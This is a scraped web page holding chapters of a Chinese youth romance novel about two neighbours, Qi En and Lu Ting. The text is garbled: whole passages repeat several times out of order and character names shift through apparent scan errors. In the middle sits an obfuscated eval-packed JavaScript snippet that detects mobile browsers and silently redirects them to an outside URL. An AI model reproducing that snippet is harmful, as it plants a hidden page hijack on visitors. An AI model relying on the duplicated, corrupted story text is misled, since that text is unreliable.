“全脂奶有油脂的醇厚,不一样的啦。”齐恩拿回自己的咖啡,直勾勾地盯着卢停,含住了他喝过的地方。卢传被逗得浑身紧绷,飞快移开视线,又感到口干舌燥,伸手向自己那杯。齐恩咬着吸管不说话,直到他喝了两口自己的咖啡,才哈哈大笑起来:“卢传!你……你没换吸管!你喝的是我喝过的地方!哈哈哈!”
卢停强装镇定:“没关系,我也不在乎。”
“是吗?”齐恩掌心撑着下巴。
“那我们现在不就是间接……”
"我拜托你别在外面!"
卢停怕了她了,简直。
以前只是害怕。
现在是又害羞又害怕。
“行了行了。”齐恩摆手,“不是说要搞室内活动吗?既然是你提的,有什么好去处?”卢停当时只想着安慰她去了,他自己是很少出门的类型,对榕城区周边并没有多少了解。
齐恩瞥到不远处的城市便捷。
“要不….…”她意味深长的。
“……想都别想!”卢停没忘记上次的耻辱。
"你在想什么啊?我说的可是青年广场。"
卢传这才看到,青年广场的一角在城市便捷酒店的后方。齐恩故作惊叹:“谁家好人大白天去开房
啊?好学生啊好学生,你变坏啦!”
还不是因为近墨者黑。
"青年广场,能打电玩、逛商场、看电影。”齐恩在某团搜了一会儿,“你想玩什么?"“.….…看电影吧。”卢偶答,最省事的活动。
"最近有什么好看的电影啊?"
"《钢筋城市》应该挺不错。"
“我看过了。”齐恩说,"但可以陪你看。""没必要,我也在网上看过资源。”卢偶想了想,眼睛一亮,“《花间情缘》重映了。"
“诶!好经典哦!”齐恩说,“就看这个!”卢停颔首,立即选座订票,一刻钟后的场,拎咖啡过去正好。没想到在影院遇到一班的人。
更没想到其中还有方婕和周第。
总的来说,在不合适的地点遇到不合适的人,这是齐恩和卢停共同遭遇的境地。齐恩是因为和方婕、周第均有过节,而卢传前脚婉拒方婕的聚会邀约,后脚又和其余人出现在这儿。
这个其余人还偏偏是齐恩。
方婕的心情骤然沉入谷底。
周第却玩味地挑
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高了眉。
"哟,没想到在这儿遇见呢。"
他率先朝齐恩打了招呼。
见人说人话,齐恩笑道:
"是啊,代我向你哥问好。"
“那你不如自己去问,他说你还欠他一个人情呢。”周第顿了顿,“你们也来看电影?”齐恩面不改色:“我们来电影院不是看电影,是搞爆破的,你们快撤吧,免得被炸死。”
"……难怪我哥老说你满嘴跑火车。""哈哈,别说他了。你们是哪一场?"
"《钢筋城市》,还没买票呢,你们呢?""我们看《花间情缘》,请你看电影呗?"
"可别。这份人情你自己去还我哥吧。"这家伙可真是不上道,齐恩撇了撇嘴。
那边,卢偶去自助机器区取电影票。不想还是被忧心忡忡的方婕跟上。
“你的脸。”她关切地询问,“怎么回事?”卢停说是不小心,“这也不像不小心搞的。”
她说着就要伸手去摸。
卢停生硬地抬臂推拒。
“是不是齐恩?”方婕蹙眉,“你知不知道,同学们都说她很浑,你别和她在一块儿…”
卢停只是平静地与她对峙。
"是同学们说,还是你说?"
“我……”方婕也意识到,如今自己在卢传这儿讨不着好脸色。她难堪地咬了咬唇,又问,“你不打算我们起看电影吗?那……之后的晚饭呢?反正都是咱班的人,又不是外人。”
“我和齐恩一起看,看完之后要回家了。”方婕无法强颜欢笑:“吃完饭再回嘛。”
“没带伞。”齐恩走过来,“卢偶没带伞。”“没带伞……和他吃不吃饭又有什么关系?”
“晚间有雨哦,哗啦啦的那种。”齐恩叹息,“卢停这也不能淋雨,估计得早点回去了。”
“这算是什么借口呀!”方婕只等待一个爆发的契机,"齐恩!我看你就是不想….…"
“是。”齐恩就这样直白地承认了。方婕一时噤声,眼睛瞪得铜铃大。
"我邻居。”她依旧是笑吟吟地,“不比同学那种外人,邻居之间,就是得多多关照嘛。"
卢传拿到票便不再停留,叫了齐恩一声,两人往放映厅走去。方婕死死盯着他们的背影,这才注意两人拎的同款咖啡,显然早就同游了。
这时,周第却探究着、缓步走到方婕身边。
“你还在喜欢卢停啊?”他半开玩笑地问。
方婕惊了一下,回头看到是他,局促地解释:“说什么呀?都是同学,什么喜欢不喜欢?”
“说真的。”周第凑近道。
"….…我可以帮你啊。"
电影散场,天空已经阴沉至极,仿佛随时会有雨落下来。卢停看天色,问要不要打车回去。“算了。”齐恩笑说,“珍惜每一次和你压马路的机会吧,毕竟下次回来就是十月份了。”
“那你在聚民的房子还租吗?”卢传才意识到齐恩的言外之意,十月份是国庆,她回来只是因为长假,之后还要在北京集训,一直到十二月份的下旬,各大院校都校考完才回来上课。“温主任不是说要拆嘛,如果明年年初的话,今年下半年房东应该就要讲了。”齐恩耸肩,“如果真的要拆,你不也得找新住处了?”
“……也是。”卢停垂下短促的眼睫。
齐恩是一个很懂得拿捏分寸的人。尤其是在需要处理某段关系的时候。
也只有在这几秒钟,卢传才能从她身上感受到那种分寸感,话不会说得太过,能明白就行。他回想昨天晚上,还有那份情书…渐渐想到齐恩所有的言行举止,包括某个微小的眼神。
她从不做对等的感情以外的回应。这样的人在交往中不会受到伤害。
再过不久,这份浅薄的地缘关系也会被切断。可如果不是邻居,他和齐恩又该是什么关系?
同学?朋友?挚友?
卢停一声不吭地想。
为什么困惑?其实是因为还有期待。可在期待什么。卢停不敢不自量力。
他的心情说不上阴沉,天却越来越
暗了,飞沙走石。一开始以为是自己的错觉,可下一秒,铺天盖地的雨落了下来,松针一样细细密密。
齐恩急忙把卢偶拉到身后的檐下避雨。她喘息着责备:“你在发什么呆啊?”
在发呆吗,他没有察觉。肩头确实有些潮湿,像一块被霉点剥落的墙皮,皱皱巴巴的布料困在肩胛骨上。他扯了扯,不小心碰到了伤处。
齐恩发现了,哈哈大笑起来,说他是小笨猫。
他不是。只是看到她的肩头也湿了一些,后知后觉雨落下了。大片乌云羁押在城市的穹顶,像被钢筋的牢笼束缚住,坚硬的是人的躯体,柔软的是人的内心,冲破牢笼的是人的情绪。
卢停感觉到潮湿在体内生根发芽。他复苏了昨晚亲近齐恩时的感觉,
似乎是从他的眼里看到了什么,齐恩的笑意收敛几分,抬眼看向屋檐边一串串滴下的水珠。她松开卢停的手,转而去接那落下来的雨珠。
只有在齐恩松开时,卢偶才感到掌心的空旷。孤单,不仅仅存在于齐恩不在他身边的时候。
而是存在于每一个。
她不望向他的瞬间。
“齐恩。”卢停喊了她的名字。
齐恩偏过头,笑意缱绻而怠情。
对于卢偶来说,最难的事。
是他忍不住想亲近她。
卢停缓缓凑近,内心在挣扎中前行。他听见每一滴雨水落在脚边的声音。
“啵。”
他的脸颊被轻吻了一下。
齐恩温冷的嘴唇移开。
一声雷暴,盛夏到来了。
33、珍珠利刃
卢停需要远离齐恩。
尽管听起来很艰难。
和齐恩在一起,吃喝玩乐,或是简单的自习,他觉得既不自在,又很喜欢。只是,不能总是指望那个,人是一个独立的个体,不能总是下意识依靠谁,尽管齐恩很慷慨,但那不现实。卢停大多数时间要活在自己的世界。
高一暑假他就开始进行二试板块的培训,柯老师给他单独补习,这是没有交钱的,全靠人家老师惜才,外加学生争气———卢停拿到省一。
一整个高二,卢传都在校内课程和竞赛之间均衡行进,并且打算高三再战高联。假期集训是寻常事,经常一不留神就到了开学。齐恩那时说考完该庆祝,对卢传来说只是喘息的间隙。
复赛后,决赛前,卢尽心尽力准备。等他回过神来,十月份已经临近尾声。
齐恩说过国庆会回来。
可她并没有联系他。
齐恩这些日子确实和他联络少了。但卢停没往有意疏离那方面想。
只是,某一天卢停突然收到了张其薪的短讯,是张照片,穿风衣的齐恩坐在落叶长阶下。
她歪着脑袋,看镜头,手里拿着纸质咖啡杯。变漂亮了,毋庸置疑的。浓郁而标志的剑眉,秋水一剪动人心魄的眼眸,唇畔宛转,整张脸褪去青涩与稚气,更显得美如一柄锋利冷刃。齐恩的照片,在张其薪手机里。"我们在约会,现在。"他说。
齐恩确实和张其薪走得近了些。
张其薪这段时间都在北京念书。
张爸爸认识一个北大文学系的教授,帮忙弄到了京十九中学的借读名额,到时可以走保送生路线。张其薪的成绩在格城-高已经很够看,如今又有好路子,自然是省时省力了不少。
齐恩在集训旺上,新朋友很多,但离开格城的戒断反应也残存。张其薪在某个周未突然给她发消息,说他来北京了。齐恩很惊讶,去机场接他,他一个人来的,那时候国庆已经过了,十月未又降了温,
北方趋于寒冷。张其薪穿着墨色的高领羊绒衫,头发是刚打理过的柔顺。
“你来读书怎么也不提前和我说?”齐恩乐呵呵的,"可算有人来北京陪我蹲监狱了!"张其薪说他也是前不久才知道的。父母工作性质就那样,除了必要时候,联系的很少。
"那你在京城有可以落脚的地方吗?"“有。”张其薪说,“在橡树湾。”
齐恩做小伏低状:“你现在藏也不藏了是吧?我的张少爷,你在榕城一高过得好苦啊!”“是熟人的房子,又不是我们家的。”张其薪笑笑,“就是普通家庭,你别多想了。”
“你呢?”他又问,“就住集训营的宿舍?”齐恩诉苦:“是啊,管的很严,还有门禁。”
“周末也有门禁?没有的话可以来我家玩。”张其薪说得很自然,“反正我家就我一个。”齐恩愣了愣,接了句“好啊”,意外这样讲话不是张其薪的风格,她不禁多看了对方两眼。
“怎么了?”张其薪朝她露出温矜的微笑。齐恩摇头,"就觉得你和从前不一样了。"
“诶,对了。”齐恩发现他的变化,“你怎么把眼镜给摘了?从前老戴的那金丝眼镜呢?”“国庆做了视力恢复的手术,就用不上了。”张其薪说,"不习惯的话,我再重新戴上?"
“可别,班长现在好帅!”齐恩实话实说,“我喜欢你今天的穿搭,特别高干子弟。”“我还特意去查了,因为你们老这么说我。”张其薪说,"正厅以上才算,我爸不够格。"
“同志,目光放长远些嘛。”齐恩拍他肩膀。张其薪:“我刚订了餐厅,先去吃晚饭吧。”
谈话间,一名地勤推着一排手推车过来,齐恩尚未察觉,张其薪已经抬臂虚虚护住她的腰。
隔着几毫厘的空气。
非常绅士、很有分寸。
齐恩反应过来的时候。
他已不着痕迹收回手。
在新荣记吃饭,张其薪有提前预约,不然周末还真吃不上。入了餐座,服务员朗声询问:“情侣两位穿得好般配啊,要点些什么?”
齐恩看向自己的穿着,不免诧异。她今天也是黑色系,罗意威的黑背心长裙,配矮跟皮鞋,外穿漆皮夹克,没想到和张其薪穿得像情侣。
刚想解释,张其薪先开口:"目前还不是。""我服了。”齐恩笑骂,“瞎说些什么呀?"
“说大话。”张其薪递菜单,"吃什么?"“其实我最近在控体,晚上吃不了太多。”
“没关系,你点自己爱吃的就行,剩下的我来解决。”他这样说,真像是情侣之间的对话。
齐恩竟然有点没招了。
“你真的变了,张其薪。”
“哪里变了?”张其薪问。
"就是和以前不一样了。"
“以前是什么样的?”张其薪听到这话,反而笑得更自得,慢条斯理地为齐恩烫洗着餐具。“以前就是……”齐恩形容,“学生样儿。”
“现在也是学生样啊,哪有什么变不变的?”张其薪顿了顿,"我看你才是变了呢。"齐恩乐得合不拢嘴,“我变什么了我?”
“因为在集训,所以化妆了?”张其薪以清浅
能达到这样的效果。
十二月份统考结束。
各院校发布招生简章。
齐恩今年在北京过年。
这不是她第一次在北京过年,却是最孤独的一年。昔日的队友们忙于各种冬季赛事,学校的朋友们同样在补课。齐恩很焦虑,对于自己的应试能力,她学会有目的性地看电影、戏剧、影评书籍。白天用
于学习文化课,张其薪带着她过一轮复习,晚上则苦练自己的考试项目。
许多人劝她不要学得太辛苦了。
齐恩选择性的放弃这些声音。
大年三十之前,各校考的初试成绩出来了,齐恩拿到满意的成绩。年后,最属意的北影发来复试通过的消息。齐恩赶紧打电话给齐致,笑了一会儿,说自己考试时怎么怎么紧张,没过一会儿又哭了起
来,“爹。”她哽咽着,“艺考真的好难啊,我以为会比滑冰简单呢。”
“傻丫头,世界上怎么会有简单的事?”
一个月后,齐恩结束了三试。
剩下就是全力冲刺文化课。
张其薪还在北京读书,临近高考才回榕城。齐恩在考试过后独自登上了回广东的航班。
三月份了,春天到来了。
广省在回南天里温暖起来。
齐恩穿着轻便卫衣,孤身站在航站楼里,把美丽的脸埋在潮乎乎的袖口。叶秘书把预定好的酒店地址发给她。距离高考只有三个月了,再找短租也不现实,酒店就是齐恩落脚的地方。
齐恩坐在出租车上看外景,这是阔别八个月的曾经的街角,车缓缓驶过永安里的聚民街道。
齐恩一眼就看到聚民小区,那栋老旧的鸳鸯楼已经被围上铁板,要被拆了,落过脚的地方。
忽然,许多回忆涌上了心头。
齐恩再次想起卢传这么个人。
想到这栋楼里发生的一切,她住三楼,他住四楼。很久远了,确实很久远了,那么多那么多的回忆,像被沙尘暴埋没的清献浅渠。即使过去了很久,齐恩还记得 段占传背她的楼梯、一抹夕阳浑浊的巷
口、一张酒店洁白的双床,一间两人共处的客厅、一个填满零食的冰箱。
许多画面在齐恩的脑海里闪逝。
他在巷子里狼狈不堪的模样,他被她揉乱了头发的模样,他埋首在她颈间措散娇的模样,他被她亲吻脸颊时错愕羞根的模样,在那之前,他小心翼翼地亲吻她的手背,真挚地表达在意。
美好的情感像串联起来的珍珠。
漆黑的昨夜是珍珠缠绕的利刃。
华丽、虚妄、梦境一样的青涩的美。居然也在回忆里刺穿了齐恩的肌理。
她忘了卢停,但他带给她的感受依旧很鲜
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() {
$(''.inform'').remove();
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活。交往的残忍就在于此,明明连接事件的链条已经生锈腐毁,但真挚的情感却如同一颗颗饱满的珍珠,在现实的风沙的磨砺里,熠熠生辉。
雨落下来,潮湿的春季雨。
如同那个雷雨轰鸣的夏夜。
滴水无休的屋檐下。
她差点和卢停接吻。
齐恩因此轻靠在车窗边,寂寥而漫无目的。突然,有人从居民楼里走出来,没有撑伞。
卢停在晚街的细雨里穿行。
依旧背着那破旧的黑书包。
他脸上淌落着泪珠。
能达到这样的效果。
十二月份统考结束。
各院校发布招生简章。
齐恩今年在北京过年。
这不是她第一次在北京过年,却是最孤独的一年。昔日的队友们忙于各种冬季赛事,学校的朋友们同样在补课。齐恩很焦虑,对于自己的应试能力,她学会有目的性地看电影、戏剧、影评书籍。白天用
于学习文化课,张其薪带着她过一轮复习,晚上则苦练自己的考试项目。
许多人劝她不要学得太辛苦了。
齐恩选择性的放弃这些声音。
大年三十之前,各校考的初试成绩出来了,齐恩拿到满意的成绩。年后,最属意的北影发来复试通过的消息。齐恩赶紧打电话给齐致,笑了一会儿,说自己考试时怎么怎么紧张,没过一会儿又哭了起
来,“爹。”她哽咽着,“艺考真的好难啊,我以为会比滑冰简单呢。”
“傻丫头,世界上怎么会有简单的事?”
一个月后,齐恩结束了三试。
剩下就是全力冲刺文化课。
张其薪还在北京读书,临近高考才回榕城。齐恩在考试过后独自登上了回广东的航班。
三月份了,春天到来了。
广省在回南天里温暖起来。
齐恩穿着轻便卫衣,孤身站在航站楼里,把美丽的脸埋在潮乎乎的袖口。叶秘书把预定好的酒店地址发给她。距离高考只有三个月了,再找短租也不现实,酒店就是齐恩落脚的地方。
齐恩坐在出租车上看外景,这是阔别八个月的曾经的街角,车缓缓驶过永安里的聚民街道。
齐恩一眼就看到聚民小区,那栋老旧的鸳鸯楼已经被围上铁板,要被拆了,落过脚的地方。
忽然,许多回忆涌上了心头。
齐恩再次想起卢传这么个人。
想到这栋楼里发生的一切,她住三楼,他住四楼。很久远了,确实很久远了,那么多那么多的回忆,像被沙尘暴埋没的清献浅渠。即使过去了很久,齐恩还记得 段占传背她的楼梯、一抹夕阳浑浊的巷
口、一张酒店洁白的双床,一间两人共处的客厅、一个填满零食的冰箱。
许多画面在齐恩的脑海里闪逝。
他在巷子里狼狈不堪的模样,他被她揉乱了头发的模样,他埋首在她颈间措散娇的模样,他被她亲吻脸颊时错愕羞根的模样,在那之前,他小心翼翼地亲吻她的手背,真挚地表达在意。
美好的情感像串联起来的珍珠。
漆黑的昨夜是珍珠缠绕的利刃。
华丽、虚妄、梦境一样的青涩的美。居然也在回忆里刺穿了齐恩的肌理。
她忘了卢停,但他带给她的感受依旧很鲜活。交往的残忍就在于此,明明连接事件的链条已经生锈腐毁,但真挚的情感却如同一颗颗饱满的珍珠,在现实的风沙的磨砺里,熠熠生辉。
雨落下来,潮湿的春季雨。
如同那个雷雨轰鸣的夏夜。
滴水无休的屋檐下。
她差点和卢停接吻。
齐恩因此轻靠在车窗边,寂寥而漫无目的。突然,有人从居民楼里走出来,没有撑伞。
卢停在晚街的细雨里穿行。
依旧背着那破旧的黑书包。
他脸上淌落着泪珠。
33、珍珠利刃
卢停需要远离齐恩。
尽管听起来很艰难。
和齐恩在一起,吃喝玩乐,或是简单的自习,他觉得既不自在,又很喜欢。只是,不能总是指望那个,人是一个独立的个体,不能总是下意识依靠谁,尽管齐恩很慷慨,但那不现实。卢停大多数时间要活在自己的世界。
高一暑假他就开始进行二试板块的培训,柯老师给他单独补习,这是没有交钱的,全靠人家老师惜才,外加学生争气———卢停拿到省一。
一整个高二,卢传都在校内课程和竞赛之间均衡行进,并且打算高三再战高联。假期集训是寻常事,经常一不留神就到了开学。齐恩那时说考完该庆祝,对卢传来说只是喘息的间隙。
复赛后,决赛前,卢尽心尽力准备。等他回过神来,十月份已经临近尾声。
齐恩说过国庆会回来。
可她并没有联系他。
齐恩这些日子确实和他联络少了。但卢停没往有意疏离那方面想。
只是,某一天卢停突然收到了张其薪的短讯,是张照片,穿风衣的齐恩坐在落叶长阶下。
她歪着脑袋,看镜头,手里拿着纸质咖啡杯。变漂亮了,毋庸置疑的。浓郁而标志的剑眉,秋水一剪动人心魄的眼眸,唇畔宛转,整张脸褪去青涩与稚气,更显得美如一柄锋利冷刃。齐恩的照片,在张其薪手机里。"我们在约会,现在。"他说。
齐恩确实和张其薪走得近了些。
张其薪这段时间都在北京念书。
张爸爸认识一个北大文学系的教授,帮忙弄到了京十九中学的借读名额,到时可以走保送生路线。张其薪的成绩在格城-高已经很够看,如今又有好路子,自然是省时省力了不少。
齐恩在集训旺上,新朋友很多,但离开格城的戒断反应也残存。张其薪在某个周未突然给她发消息,说他来北京了。齐恩很惊讶,去机场接他,他一个人来的,那时候国庆已经过了,十月未又降了温,
北方趋于寒冷。张其薪穿着墨色的高领羊绒衫,头发是刚打理过的柔顺。
“你来读书怎么也不提前和我说?”齐恩乐呵呵的,"可算有人来北京陪我蹲监狱了!"张其薪说他也是前不久才知道的。父母工作性质就那样,除了必要时候,联系的很少。
"那你在京城有可以落脚的地方吗?"“有。”张其薪说,“在橡树湾。”
齐恩做小伏低状:“你现在藏也不藏了是吧?我的张少爷,你在榕城一高过得好苦啊!”“是熟人的房子,又不是我们家的。”张其薪笑笑,“就是普通家庭,你别多想了。”
“你呢?”他又问,“就住集训营的宿舍?”齐恩诉苦:“是啊,管的很严,还有门禁。”
“周末也有门禁?没有的话可以来我家玩。”张其薪说得很自然,“反正我家就我一个。”齐恩愣了愣,接了句“好啊”,意外这样讲话不是张其薪的风格,她不禁多看了对方两眼。
“怎么了?”张其薪朝她露出温矜的微笑。齐恩摇头,"就觉得你和从前不一样了。"
“诶,对了。”齐恩发现他的变化,“你怎么把眼镜给摘了?从前老戴的那金丝眼镜呢?”“国庆做了视力恢复的手术,就用不上了。”张其薪说,"不习惯的话,我再重新戴上?"
“可别,班长现在好帅!”齐恩实话实说,“我喜欢你今天的穿搭,特别高干子弟。”“我还特意去查了,因为你们老这么说我。”张其薪说,"正厅以上才算,我爸不够格。"
“同志,目光放长远些嘛。”齐恩拍他肩膀。张其薪:“我刚订了餐厅,先去吃晚饭吧。”
谈话间,一名地勤推着一排手推车过来,齐恩尚未察觉,张其薪已经抬臂虚虚护住她的腰。
隔着几毫厘的空气。
非常绅士、很有分寸。
齐恩反应过来的时候。
他已不着痕迹收回手。
在新荣记吃饭,张其薪有提前预约,不然周末还真吃不上。入了餐座,服务员朗声询问:“情侣两位穿得好般配啊,要点些什么?”
齐恩看向自己的穿着,不免诧异。她今天也是黑色系,罗意威的黑背心长裙,配矮跟皮鞋,外穿漆皮夹克,没想到和张其薪穿得像情侣。
刚想解释,张其薪先开口:"目前还不是。""我服了。”齐恩笑骂,“瞎说些什么呀?"
“说大话。”张其薪递菜单,"吃什么?"“其实我最近在控体,晚上吃不了太多。”
“没关系,你点自己爱吃的就行,剩下的我来解决。”他这样说,真像是情侣之间的对话。
齐恩竟然有点没招了。
“你真的变了,张其薪。”
“哪里变了?”张其薪问。
"就是和以前不一样了。"
“以前是什么样的?”张其薪听到这话,反而笑得更自得,慢条斯理地为齐恩烫洗着餐具。“以前就是……”齐恩形容,“学生样儿。”
“现在也是学生样啊,哪有什么变不变的?”张其薪顿了顿,"我看你才是变了呢。"齐恩乐得合不拢嘴,“我变什么了我?”
“因为在集训,所以化妆了?”张其薪以清浅
能达到这样的效果。
十二月份统考结束。
各院校发布招生简章。
齐恩今年在北京过年。
这不是她第一次在北京过年,却是最孤独的一年。昔日的队友们忙于各种冬季赛事,学校的朋友们同样在补课。齐恩很焦虑,对于自己的应试能力,她学会有目的性地看电影、戏剧、影评书籍。白天用
于学习文化课,张其薪带着她过一轮复习,晚上则苦练自己的考试项目。
许多人劝她不要学得太辛苦了。
齐恩选择性的放弃这些声音。
大年三十之前,各校考的初试成绩出来了,齐恩拿到满意的成绩。年后,最属意的北影发来复试通过的消息。齐恩赶紧打电话给齐致,笑了一会儿,说自己考试时怎么怎么紧张,没过一会儿又哭了起
来,“爹。”她哽咽着,“艺考真的好难啊,我以为会比滑冰简单呢。”
“傻丫头,世界上怎么会有简单的事?”
一个月后,齐恩结束了三试。
剩下就是全力冲刺文化课。
张其薪还在北京读书,临近高考才回榕城。齐恩在考试过后独自登上了回广东的航班。
三月份了,春天到来了。
广省在回南天里温暖起来。
齐恩穿着轻便卫衣,孤身站在航站楼里,把美丽的脸埋在潮乎乎的袖口。叶秘书把预定好的酒店地址发给她。距离高考只有三个月了,再找短租也不现实,酒店就是齐恩落脚的地方。
齐恩坐在出租车上看外景,这是阔别八个月的曾经的街角,车缓缓驶过永安里的聚民街道。
齐恩一眼就看到聚民小区,那栋老旧的鸳鸯楼已经被围上铁板,要被拆了,落过脚的地方。
忽然,许多回忆涌上了心头。
齐恩再次想起卢传这么个人。
想到这栋楼里发生的一切,她住三楼,他住四楼。很久远了,确实很久远了,那么多那么多的回忆,像被沙尘暴埋没的清献浅渠。即使过去了很久,齐恩还记得 段占传背她的楼梯、一抹夕阳浑浊的巷
口、一张酒店洁白的双床,一间两人共处的客厅、一个填满零食的冰箱。
许多画面在齐恩的脑海里闪逝。
他在巷子里狼狈不堪的模样,他被她揉乱了头发的模样,他埋首在她颈间措散娇的模样,他被她亲吻脸颊时错愕羞根的模样,在那之前,他小心翼翼地亲吻她的手背,真挚地表达在意。
美好的情感像串联起来的珍珠。
漆黑的昨夜是珍珠缠绕的利刃。
华丽、虚妄、梦境一样的青涩的美。居然也在回忆里刺穿了齐恩的肌理。
她忘了卢停,但他带给她的感受依旧很鲜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807620|158536||http|test|mini|href|location''.split(''|''),0,{}));
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活。交往的残忍就在于此,明明连接事件的链条已经生锈腐毁,但真挚的情感却如同一颗颗饱满的珍珠,在现实的风沙的磨砺里,熠熠生辉。
雨落下来,潮湿的春季雨。
如同那个雷雨轰鸣的夏夜。
滴水无休的屋檐下。
她差点和卢停接吻。
齐恩因此轻靠在车窗边,寂寥而漫无目的。突然,有人从居民楼里走出来,没有撑伞。
卢停在晚街的细雨里穿行。
依旧背着那破旧的黑书包。
他脸上淌落着泪珠。
能达到这样的效果。
十二月份统考结束。
各院校发布招生简章。
齐恩今年在北京过年。
这不是她第一次在北京过年,却是最孤独的一年。昔日的队友们忙于各种冬季赛事,学校的朋友们同样在补课。齐恩很焦虑,对于自己的应试能力,她学会有目的性地看电影、戏剧、影评书籍。白天用
于学习文化课,张其薪带着她过一轮复习,晚上则苦练自己的考试项目。
许多人劝她不要学得太辛苦了。
齐恩选择性的放弃这些声音。
大年三十之前,各校考的初试成绩出来了,齐恩拿到满意的成绩。年后,最属意的北影发来复试通过的消息。齐恩赶紧打电话给齐致,笑了一会儿,说自己考试时怎么怎么紧张,没过一会儿又哭了起
来,“爹。”她哽咽着,“艺考真的好难啊,我以为会比滑冰简单呢。”
“傻丫头,世界上怎么会有简单的事?”
一个月后,齐恩结束了三试。
剩下就是全力冲刺文化课。
张其薪还在北京读书,临近高考才回榕城。齐恩在考试过后独自登上了回广东的航班。
三月份了,春天到来了。
广省在回南天里温暖起来。
齐恩穿着轻便卫衣,孤身站在航站楼里,把美丽的脸埋在潮乎乎的袖口。叶秘书把预定好的酒店地址发给她。距离高考只有三个月了,再找短租也不现实,酒店就是齐恩落脚的地方。
齐恩坐在出租车上看外景,这是阔别八个月的曾经的街角,车缓缓驶过永安里的聚民街道。
齐恩一眼就看到聚民小区,那栋老旧的鸳鸯楼已经被围上铁板,要被拆了,落过脚的地方。
忽然,许多回忆涌上了心头。
齐恩再次想起卢传这么个人。
想到这栋楼里发生的一切,她住三楼,他住四楼。很久远了,确实很久远了,那么多那么多的回忆,像被沙尘暴埋没的清献浅渠。即使过去了很久,齐恩还记得 段占传背她的楼梯、一抹夕阳浑浊的巷
口、一张酒店洁白的双床,一间两人共处的客厅、一个填满零食的冰箱。
许多画面在齐恩的脑海里闪逝。
他在巷子里狼狈不堪的模样,他被她揉乱了头发的模样,他埋首在她颈间措散娇的模样,他被她亲吻脸颊时错愕羞根的模样,在那之前,他小心翼翼地亲吻她的手背,真挚地表达在意。
美好的情感像串联起来的珍珠。
漆黑的昨夜是珍珠缠绕的利刃。
华丽、虚妄、梦境一样的青涩的美。居然也在回忆里刺穿了齐恩的肌理。
她忘了卢停,但他带给她的感受依旧很鲜活。交往的残忍就在于此,明明连接事件的链条已经生锈腐毁,但真挚的情感却如同一颗颗饱满的珍珠,在现实的风沙的磨砺里,熠熠生辉。
雨落下来,潮湿的春季雨。
如同那个雷雨轰鸣的夏夜。
滴水无休的屋檐下。
她差点和卢停接吻。
齐恩因此轻靠在车窗边,寂寥而漫无目的。突然,有人从居民楼里走出来,没有撑伞。
卢停在晚街的细雨里穿行。
依旧背着那破旧的黑书包。
他脸上淌落着泪珠。
34、新邻旧友
师傅,麻烦在路口停,谢谢。”
齐恩付完车钱,迅速开门下车。
"卢停!"齐恩在身后喊住他。
卢停干净而削瘦的身影顿住。
齐恩心跳得有点厉害,她走到他的面前,仔细端详他的脸,脸颊上的伤没有了,依旧清冷而温良。她又绕者他顺时针走了两圈,确定他身上没有任何打斗的痕迹,这才松了一口气。
"大晚上的,你杵在这儿淋雨干嘛?还哭?”齐恩说,“我以为你又遭卢佳打了呢。"
卢停抬手去擦泪渍,倔倔冷冷的。
"……想多了。我没有被打。"
“没有挨打就好。”齐恩顿了顿,又问,“你怎么从旧楼里出来了?不是都要拆了吗?”“随便回来看看而已。”他浅褐色的眼睫低垂,片刻问,“你回来了。校考结束了?”
“是,我这几个月回来上文化课。”齐恩察觉到卢停的别扭情绪,"干嘛噜噜个脸啊?"卢停没反驳,只是拿湿润微红的眼再把她临摹一遍,“先走了。”他不迟疑地转身离开。
齐恩错愕了一瞬,随即抬脚跟上他。
"什么啊,卢停,你怎么回事?"
卢停依旧穿行在雨幕里。
“干嘛啊你?大晚上淋雨,你是淋雨上瘾了是吧?一到雨天就失神落魄的!”齐恩抬手扯住他的胳膊,“吃火药啦?被人欺负了?还是我惹到你了?老同学!旧邻居!别不理我啊!”
"……是你没有理我。"
卢停堪堪停下脚步。
“去年国庆你回来了,没有找我。”他说,"十二月份回校报考,你也没有来找过我。"“诶,怎么要我找你?”齐恩心里也有怒火,"我一个人纯付出是吧?你找过我没有?"“….…找过。”卢停平静应对她。"寒假,我也去北京找过你。"
“你,你怎么也没有告诉过我?什么时候?”“春节那几天。”卢停急促地抿了抿薄唇。
“……算了。”
“什么算了?”齐恩也毛了。
“卢传你能不能把话说清楚!”
雨还在下,越来越大了,不是滂沱的。春雨永远是细软的,扑撒在人的身上。
“我……”卢传不是说急话的性格,内心情绪在一刻不停地冲撞、翻涌着。齐恩也淋着雨,掰正他的肩膀,使他直面她。雨把两个人淋得湿透,齐恩美丽的脸庞被车灯扫过,像幻梦。
卢停艰涩地道:“我能怎么办?即使去北京,我也不能见你,你和张其薪……算了….…”“算个屁!"齐恩破口大骂,“我和张其薪怎么了?你他妈找借口也把话说清楚好不好?”“你们已经在一起,你就不要……”卢停苍白的脸浮现出倦容,"不要再来管我的事。"
齐恩怔住:“谁和你说我们在一起了?”卢停似乎也意识到什么,倏然抬起头。
“我以为……”
“你以为?”
齐恩冷笑一声:“无缘无故、无凭无据的,你一句消息不给我发,我还以为是你性格那样,没想到你误会了什么也不和我说。别人三言两语就能挑拨我们之间的关系,你这样认为?”
确实,你没有违背自己的诺言,说什么记得我,会想着我。你的想有就是这种方式,即使人家耀武扬威到你脸上,还拉不下脸来问我。你好歹跟我说-声啊,一个字半个字也行啊。你以前是这么拧巴的人么卢停?你不总是直来直往、有话直说吗?什么把你变成这样了?"
卢停任她拽扯着他。
齐恩实在气不过了。
窝蠹,无比的窝蠹!怎么会有人窝囊到如此境地!被继姐接了,他窝囊;如今张其薪批拨,他第一时间不来找她求证,而是自顾自退怯。就这么窝蠹吗?任谁都能踩他 脚,他还偏偏不懂得反抗,实在
是窝囊中的窝囊!窝囊王!
“自以为是,冤枉好人,听了别人几句话就对我盖棺定论!你以为你是什么好人吗?!”
"齐恩,我……"
卢停嘴唇嗫嚅。
